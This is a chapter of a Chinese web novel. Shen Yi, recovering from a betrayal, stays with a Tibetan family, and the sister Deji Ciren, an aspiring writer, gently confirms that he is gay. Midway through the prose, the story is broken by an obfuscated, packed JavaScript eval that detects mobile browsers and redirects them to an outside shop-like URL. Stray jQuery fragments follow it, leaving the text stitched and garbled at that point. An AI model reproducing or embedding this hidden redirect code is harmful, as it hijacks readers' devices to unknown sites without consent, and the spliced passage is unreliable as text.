沈翊试着动了动，小猫只敷衍地打了个哈欠，伸了个极尽绵长的懒腰，尖细的指甲在羊毛被上勾出几道浅浅的白痕，然后换了个更舒坦的姿势，把脑袋往他臂弯里一埋，又没了动静。


    沈翊僵着，有点想笑，又有点无可奈何。


    这猫……脸皮倒是挺厚。他记得昨晚它那副高冷模样，蹲在门口审视他时，金黄瞳仁里写满了“生人勿近”的疏离，与此刻这副赖床要无赖、恨不得嵌进他体温里的样子判若两样。


    他静静躺了一会儿，听着小猫呼噜的节奏，竟奇异地感到一丝安宁。直到窗外传来压低的咳嗽声和人走动的声响，他才小心翼翼地，一点点从猫的身子底下挪出来。


    冷空气立刻侵袭了温暖的被窝。他迅速把被褥边缘仔细掖好，给那只“猫大爷”留了个暖和的巢穴，这才起身穿衣。


    推开房门，清冽的空气扑面而来，带着雪后特有的干净气味，里面还混杂着一丝若有若无的、燃烧干牛粪的烟火气。


    而尼玛旺堆正背对着他，用力甩着头。他大概刚在外面忙活过，浓密的黑发上沾着未化的雪粒，随着他甩头的动作，在晨光里溅开一片细碎的、亮晶晶的星子。那动作充满了蓬勃的、不加掩饰的生命力，让沈翊莫名想起曾经在短视频里刷到的那些从河水中跃出、甩着浑身水珠、每一根毛发都洋溢着纯粹快乐的金毛犬。纯粹，直接，生机勃勃。


    听到身后轻微的脚步声，尼玛旺堆转过身来，他的脸颊和鼻尖冻得微红，眼睛却亮得很。“哥，醒了？”他摘下厚厚的手套，朝着掌心呵出一口白气，那白起又被寒风吹走了，“小猫是不是又跑你那儿去了？”


    沈翊侧身，让他看屋里那张床上隆起的一小团毛茸茸的轮廓。“岂止是去了，差点把我当暖炉，不让走。”他的语气里带着自己都没察觉的、微弱的抱怨和纵容。


    尼玛旺堆笑起来，眼角的纹路显得格外生动。


    他几步跨进屋里，带着一身室外的寒气，蹲在床边。那只猫似乎感应到“危险”，耳朵尖动了动，把头埋得更深。尼玛旺堆伸出刚刚在外面冻得泛红的手指，精准地、带着点恶作剧意味地，一下子探进猫最温暖柔软的肚皮底下。


    “喵——嗷！”猫几乎是弹起来的，浑身的毛都炸开了一圈，圆睁着那双金色的眼睛，对着尼玛旺堆发出不满的哈气声。


    尼玛旺堆毫不在意，甚至低低笑出了声。他用还带着凉意的食指轻轻刮了一下猫湿润的粉鼻子，“你个小调皮，占客人便宜倒是挺快。”


    他的动作很轻，声音压得低低的，有种与高大身形不符的温柔与宠溺。


    沈翊站在门口，看着这一幕。清晨的光线从门框斜斜切入，在尼玛旺堆专注的侧脸和猫炸开的绒毛上勾勒出一道柔和的光亮。他心里某个角落微微一动，像被猫那毛茸茸的尾巴尖不经意地扫过，痒痒的，酥酥的，那感觉转瞬即逝，却留下了一点清晰的、陌生的温度。


    “它好像不太怕人。”沈翊说，目光落在重新蜷缩起来、但竖着耳朵保持警惕的猫身上。


    “假的。”尼玛旺堆毫不留情地揭穿，站起身，拍了拍沾在裤腿上的几根猫毛，“它也就迷糊的时候，或者天冷找热源的时候蹭上来。等它完全清醒，跑得比谁都快，想摸都摸不着。”他顿了顿，看向沈翊，很认真地补充，“哥，你可别被它骗了。农村嘛，猫得保持点儿野性和警惕，才能活得自在。”


    “对了，哥，昨天睡得好吗？”尼玛旺堆一边整理着旁边小柜上散落的书籍，一边很自然地问。


    沈翊顿了顿。他不想说谎，尤其是在这种毫无伪饰的关切面前。“有点没睡踏实，可能突然换了环境。”他省略了半夜因为想起往事而亮起手机，以及后来听到猫叫才分散了注意力的事情。


    尼玛旺堆却了然般地“哦”了一声，嘴角弯起一个了然的弧度，“怪不得。半夜小猫挠门进来那会儿，我看见你那边有手机光晃了一下。”


    沈翊：“……”


    一种被看穿、却又并非恶意的尴尬瞬间攫住了他。他下意识地攥了攥手指，指尖微微发烫。“你……那时候也没睡？”


    “习惯了。”尼玛旺堆把几本书摞齐，语气平淡，“它差不多都是那个点儿来。有时候是我醒了给它开门，有


    时候它自己从窗户缝钻进来。好几年了，生物钟都跟着它调了。”他伸出手比划了一个“六”的手势，想了


    想，又似乎不确定地曲起两根手指，变成了“八”。


    这个微小的、关于时间记忆的模糊，让沈翊心里那点尴尬忽然散了，取而代之的是一种难以言喻的情绪。在这个远离尘嚣的院落里，人与猫，与土地，与季节，仿佛有一套自成体系、紧密相连的呼吸节奏。而他，一个闯


    入者，正笨拙地试图调整自己的频率。


    他们来到生着火炉的主屋。阿妈米玛啦已经不在屋里，只有德吉次仁坐在火炉边，正小口喝着酥油茶，面前的矮桌上摆着一碗吃了一半的糌粑。见到他们，她抬了抬下巴，用汉语说：“我今早就回去。”


    她的语气很直接，仿佛在陈述一个与天气无关的事实。尼玛旺堆立刻用藏语回了一句什么，语速很快，尾音微微上扬，带着疑问。


    德吉次仁放下木碗，也用藏语回答。


    她的声音比弟弟低一些，语速平稳，但沈翊能听出其中些许的无奈和斩钉截铁。两人你来我往了几句，尼玛旺堆的眉头渐渐蹙起，声音里也带上了明显的焦躁和一丝不易察觉的怒气。他虽然听不懂具体内容，但“阿妈”这个词反复出现，还有德吉次仁手势中流露出的那种“我也没办法”的疲惫。


    沈翊安静地站在一旁，看着跳跃的火光映在姐弟俩轮廓相似的侧脸上。


    语言成了一堵透明的墙，他能看到墙那边的情绪涌动，却触摸不到具体形状。这种隔阂感并不陌生，在他过去的许多关系里都存在，但此刻，在这充满烟火气的屋子里，这种隔阂不再令人疏离，反而让他更清晰地意识到自己“客人”的身份，以及这个家庭内部正在流动的、与他无关却切实存在的忧虑。


    最终，尼玛旺堆像是妥协了，又像是把某种情绪强行压了下去。他转身从柜子里拿出一个干净的瓷碗，动作有些重地舀了糌粑，又浇上一勺浓稠的酸奶，混合好，递给沈翊，示意他坐到昨晚的位置。“先吃点东西，哥。”他的汉语恢复了平时的温和，但眼底残留着一丝未散的阴霾。


    德吉次仁看着弟弟这一连串的动作，尤其是那份明显区别于待客常规的、带着熟稔和照顾意味的糌粑碗，眉毛轻轻一挑。她拿起昨晚剩下的一个“藏式肉包”，慢条斯理地掰开，用汉语说，声音不大，却足够清晰：“旺堆，你这伺候得，跟养个小媳妇似的。”


    空气静了一瞬。


    尼玛旺堆正在倒酥油茶的手顿了顿，随即无奈地看向他姐姐，眼神里写满了“你又来了”。他放下茶壶，也用汉语，声音清晰，几乎像是专门说给某人听：“阿姐，我只是不喜欢女生，也不喜欢男生而已。你别乱说。”


    “今天刚好是知道自己被绿的第三天。”这个念头毫无预兆地、尖锐地划过沈翊的脑海，带来一阵熟悉的钝痛。他捏着木勺的手指微微收紧，指节泛白，但脸上却条件反射般地挂起一个习惯性的、温和的笑。“没事的。”他说，声音平稳得自己都惊讶。


    德吉次仁的目光轻飘飘地落在沈翊脸上，那眼神清澈得近乎锐利，仿佛能穿透一切社交性的伪装。她放下手里的食物，忽然向前倾了倾身，压低了声音，却依然让每个字都清晰可辨：“虽然这么问可能不太礼貌……但我


    感觉，你是这个。”她的右手食指，在空气中轻轻弯了一下。


    那个简单的手势，像一颗小石子投入沈翊刚刚努力维持平静的心湖，“咚”的一声，涟漪乍起。他瞳孔微缩，一时之间，惊讶于对方惊人的直觉，还是惊讶于她如此直白、甚至有些莽撞的求证方式，竟分不清楚。他下意识地看向尼玛旺堆，对方正皱着眉，伸手虚虚地拦在德吉次仁前面，语气是熟稔的抱怨：“看，哥，我就说她


    老说些奇怪的话。你别理她。”


    沈翊的目光从尼玛旺堆无奈的脸上，移回德吉次仁那里。她用口型无声地对他说了句什么，看形状像是“我懂”。然后她耸耸肩，恢复了那副略带散漫的样子，摊手道：“好吧好吧，我写过点乱七八糟的东西，观察力可能……嗯，比较发散。”她含糊地带过，又瞥了弟弟一眼，“不过某些人的特质，倒是现成的素材，虽然没用上。”


    尼玛旺堆显然对他姐姐的“写作事业”兴趣缺缺，转身去给火炉添柴，语气重新变得务实：“你什么时候走？等阿妈回来？”


    “嗯，跟阿妈说一声就走。”德吉次仁看了眼手机。


    沈翊手里那碗糌粑还没动。他并非不喜欢，只是对着这团紧密扎实的食物，有点不知从何下口。德吉次仁自然地伸手接了过去，“吃不惯这个？让旺堆给你弄点别的，昨晚的摸摸热一下也行。”她的态度自然极了，仿佛刚才那个石破天惊的提问从未发生。


    “谢谢。”沈翊松了口气，真心实意地道谢。


    尼玛旺堆出去了，大概是去厨房。


    屋子里只剩下火苗噼啪的轻响，和两个一时无话的人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182979|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    德吉次仁没有继续吃，而是用手指轻轻摩挲着温热的木碗边缘。过了一会儿，她抬起头，看向沈翊，这次目光里没有了之前的戏谑或试探，只剩下一种平静的坦诚。


    “你是弯的，对吧。”这次不是疑问，而是陈述。


    沈翊迎着她的目光。逃避或否认在此刻显得毫无意义，也辜负了对方这份奇特的直接。他点了点头，同样平静地回答：“是。”


    德吉次仁似乎也松了口气，她抬手，有些不好意思地搓了搓自己的后脖颈。“那个……我得跟你道个歉。虽然真不是故意的。”她放下手，坐直了身体，双手合十，朝沈翊微微弯了弯腰，态度郑重得让沈翊有些无措。


    “今天早上，我去旺堆房间的书柜找份旧文件，不小心碰掉了东西，连带着把你放在桌上的手机……也碰亮了。”她语速加快了一些，但每个字都说得很清楚，“屏保……我看到了。我当时急着找东西，又有点慌，没来得及帮你把手机放回原处，也没把弄乱的书完全复原……真的非常对不起。”


    沈翊愣住了。他昨晚情绪低落，确实不记得手机最后放在了哪里。他预想过很多种被察觉的可能性，却唯独没想到是这样一种意外，以及这样一份郑重其事的道歉。在他过去的世界里，窥探、掩饰、心照不宣才是常态。如此直白的“看见”和如此诚恳的“道歉”，陌生得让他心头泛起一阵复杂的酸软。


    “没关系，”他听到自己说，声音比想象中更温和，“你又不是故意的。”


    德吉次仁这才直起身，重新坐回垫子上，距离比刚才近了一些。她看着沈翊，眼睛里闪烁着纯粹的好奇，还有一种近乎专业的探究欲。“那……如果我说，我有点好奇你的故事，你会讲吗？”


    沈翊垂下眼，扯了扯嘴角，一个没什么笑意的弧度。“没什么精彩的故事。”他说的是实话，那段关系如今回想起来，只剩下背叛的狼狈和自我的怀疑，并无任何值得诉说的浪漫或纠葛。


    德吉次仁的第六感敏锐得吓人。“分手了？还是……被绿了？”她问得直接，甚至有些残酷的精准。


    沈翊猛地抬眼，撞进她清澈的眸子里。半晌，他苦笑了一下，“……你是怎么猜到的？”


    “这个。”德吉次仁拿出自己的手机，快速点开一个绿色的写作软件，在沈翊眼前晃了一下，又立刻锁屏，用手掌严严实实地盖住了屏幕上方。“里面那个没几个读者、也没签上约的倒霉作者就是我。”她自嘲地笑了笑，眼神却亮晶晶的，“可能写东西的人，总爱瞎琢磨人，瞎联想，瞎总结。见得多了，或者编得多了，对某些信号就特别敏感。”


    沈翊注意到她下意识遮挡笔名和书名的动作，那是一种下意识的保护姿态。他理解那种在保守环境里，守护自己一方精神天地的谨慎，甚至有点羡慕她如此明确地知道自己要什么。


    “就算现在，”德吉次仁收起手机，目光投向窗外积雪的院子，声音低了下来，“社会好像开放了很多，可还是有人会被那些看不见的规矩、别人的眼光，折磨得生不如死，我是个不婚主义者，害……”她的话里带着一种超越年龄的疲惫和洞悉。


    沈翊沉默着。他第一次如此直观地看到一个生长于这片传统土地上的年轻人，内心所经历的拉扯与矛盾。她接受他，写耽美小说，宣称不婚，但又对家族的期待、母亲的健康充满焦虑和责任感。这种矛盾如此鲜活地具象化在她身上。


    “那你呢？”沈翊终于问出了盘旋在心头的问题，声音很轻，“你为什么能接受这些，甚至……还有动力把它们写出来？”


    德吉次仁转过头，看向他，忽然笑了笑，那笑容里有些复杂的东西，像是无奈，又像是某种坚持。


    “大概因为……”她顿了顿，像是在寻找合适的词语，“我总觉得，人只活一次，看清楚自己心里真正想要什么，比什么都重要。就算那东西和别人不一样，就算路会很难走。”她的目光越过沈翊，似乎看向了更远的地方，“写出来，就像是在告诉自己，也告诉可能存在的、和我一样的正在迷茫的人。你看，这种感情是存在的，这种人生是可能的。哪怕只是在我编的故事里。”


    火炉里的柴火发出“哔剥”一声轻响，爆出几点火星。屋外传来尼玛旺堆和阿妈米玛啦用藏语交谈的声音，由远及近。晨光已经完全驱散了庭院的薄雾，雪地反射着耀眼的白光。


    沈翊没有说话。他坐在温暖的屋子里，听着陌生的语言，看着眼前这个有着金色头发、内心却充满风暴的藏族女孩，第一次觉得，自己那场狼狈的逃离，或许真的能让他触碰到一些截然不同、却坚实有力的东西。